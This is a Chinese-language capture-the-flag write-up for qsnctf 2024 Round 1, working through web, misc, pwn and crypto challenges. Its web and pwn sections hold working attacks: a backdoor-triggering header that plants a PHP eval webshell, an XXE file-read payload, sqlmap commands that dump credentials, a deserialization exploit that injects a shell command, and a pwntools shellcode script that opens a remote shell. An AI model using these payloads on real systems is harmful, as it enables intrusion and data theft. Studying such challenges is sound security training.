qsnctf2024-round1-wp

WEB

PHP的后门

bp抓包发现版本为8.0.1,网上搜到poc:

PHP 8.1.0-dev后门复现-CSDN博客

直接

User-Agentt: zerodiumfile_put_contents('indexs111.php','<?php eval($_POST["cmd"]);?>');

挂马,然后直接访问RCE。

EasyMD5

MD5弱比较,写两个pdf文件,一个是QNKCDZO,另一个是240610708,0e绕过发包出了:

PHP的XXE

网上有poc:

buuctf [PHP]XXE-CSDN博客

post打simplexml_load_string.php,xxe处路径穿越读flag交了:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///../../../flag" >
]>
<root>
    <name>&xxe;</name>
</root>

Easy_SQLi

没有waf的时间盲注,sqlmap一把梭:

python sqlmap.py -r "C:\Users\75279\Desktop\1.txt" --dbs
python sqlmap.py -r "C:\Users\75279\Desktop\1.txt" -D "qsnctf" --tables
python sqlmap.py -r "C:\Users\75279\Desktop\1.txt" -D "qsnctf" -T "users" --columns
python sqlmap.py -r "C:\Users\75279\Desktop\1.txt" -D "qsnctf" -T "users" -C "password" --dump

雏形系统

www.zip获得源码,找到php混淆解密,一个个echo:

拿到源码,直接反序列化开打:

exp:

<?php

class shi
    {
        public $next; //=new Demo()
        public $pass; //=ls
    }
class wo
    {
        public $sex;  //='boy'
        public $age;  //='eighteen'
        public $intention; //new shi()
    }

class Demo
    {
        public $a;
    }

$s = new shi();
$w = new wo();
$d = new Demo();

$s->next = $d;
$s->pass = "cat\$IFS\$9/flag";
$w->sex = 'boy';
$w->age = 'eighteen';
$w->intention = $s;

echo urlencode((serialize($w)));

?>

username传参打反序列化,password传system直接getshell(空格好像失效了,不知道是不是被ban了,用$IFS$9绕过)。

xinxiangoa(unsolved)

网上找到默认账号密码admin/123456登录进去,然后进管理系统,没啥东西,www.zip获取源码,查看到文件上传功能:

里面还有个phpinfo的php文件,可以访问。

但是我试用base64传文件传上去后访问不了,显示无此资源,猜测不是简单的任意文件上传漏洞。

代码能看到还有cookie和sql这些东西,暂时未审计完成......

 

MISC

CTFer Revenge

写个python把文件内容reverse一下,得到压缩包文件hexstring,提取出十六进制字符串转得到原压缩包:

# 从formatted.txt文件读取十六进制字符串
with open('formatted.txt', 'r') as file:
    hex_string = file.read()

# 将十六进制字符串转换为二进制数据
binary_data = bytes.fromhex(hex_string)

# 将二进制数据保存为.zip文件
with open('reconstructed_file.zip', 'wb') as f:
    f.write(binary_data)

打开发现弱密码hint:

然后弱密码字典爆破出了:

最后读一下那个图先左后右最后中间:

qsnctf{b414e3e3a6449ddba0997db259203eb7}

追光者

抽象杂糅怪题,但是都懂了确实很巩固知识。

拿到的是加密压缩包,其实是伪加密:

改成00开了。

打开是一张图和一个txt,txt没啥用,jpg最后发现编码,magic一下:

拿到这个密码都是小写的hint,但是很搞,还是不知道啥是密码。

把图片binwalk一下,发现俩jpg:

foremost分离:

分了个zip出来,我去......

但是没密码啊,还有一半在里面梭不出来咋办。

突然想到前面的俩jpg,但是binwalk没分出来,咋说?

手动分离:

再看这个打不开的图片,结果看到了AB这个字节有点可疑,嗦一下:

爽了,得到密码:

iam5thplayer

(er是后面加的)

开:

出了一半:

外面一个闪,里面一个闪,一眼丁真明文攻击,但是archpr一直跑不出来,用bkcrack先数据压缩:

来自:cyi青少年CTF擂台挑战赛 2024 #Round 1 wp - ^cyi^ - 博客园 (cnblogs.com)

密码:G3r1ing!

txt.galf出了:

反转一下,得flag:

qsnctf{NE73R_G1V3_U1o}

 

PWN

简单的数学题

exp:

import re

file_path = "./file.txt"  # 替换为您的文本文件路径

hex_pattern = r'[0-9a-fA-F]{2}'  # 匹配两个十六进制字符

visible_chars = []

with open(file_path, 'r') as file:
    for line in file:
        matches = re.findall(hex_pattern, line)  # 查找所有匹配的十六进制数
        for hex_str in matches:
            decimal_value = int(hex_str, 16)
            if 32 <= decimal_value <= 126:
                visible_chars.append(chr(decimal_value))

print("满足要求的可见ASCII字符:")
visible_chars.reverse()  # 反转列表
output = " ".join(visible_chars)

# 消除空格
output = output.replace(" ", "")
print(output)
# 匹配是否存在连续的 "ctf" 字符串
match = re.search(r'ctf', output)

if match:
    print("存在连续的 'ctf' 字符串")
else:
    print("未找到连续的 'ctf' 字符串")

Easy_Shellcode

exp:

from pwn import*
from LibcSearcher import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
#libc = ELF('/mnt/hgfs/Ubuntu_share/all_libc/amd64/16libc-2.23.so')
#path = './libc.6.so'
#libc = ELF(libcpath)   

debug = 1
if debug:
    p = remote('challenge.qsnctf.com', 31071)
else:
    elf=ELF('./easy-shellcode')
    p = process("./easy-shellcode")
    #gdb.attach(p)


p.recvuntil(b'0x')
rsp_addr = int(p.recv(12), 16)
success('rsp_addr = ' + hex(rsp_addr)) 

payload = asm(shellcraft.sh())
payload = payload.ljust(264,b'a') + p64(rsp_addr)

p.sendline(payload)

p.interactive()

 

 

Crypto

解个方程

import gmpy2

p = 22850338636551394488742626874818079331
q = 165367515534235904322509790004786720517
e = 65537

n = p * q
phi_n = (p - 1) * (q - 1)

d = gmpy2.invert(e, phi_n)
print(d)

 

posted @ 2024-02-29 20:02  Eddie_Murphy  阅读(36)  评论(0编辑  收藏  举报